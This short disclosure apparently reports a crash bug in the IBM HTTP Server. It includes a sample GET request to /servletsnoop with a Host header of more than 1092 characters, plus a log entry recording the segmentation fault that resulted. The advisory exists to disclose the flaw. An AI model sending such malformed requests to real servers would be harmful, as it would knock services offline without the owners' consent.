Large amounts of data (ie 1092+ characters) in the Host: request header may cause the web server process to fault on signal 11 (SIGSEGV) or signal 10 (SIGBUS).
GET /servletsnoop HTTP/1.0
Host: xxxxxxxxxxxxxxxxxxxxxxxx(1092+ characters)
resulted in the following IBMHTTPD log entry:
[Fri May 26 12:00:54 2000] [notice] child pid 11306 exit signal Segmentation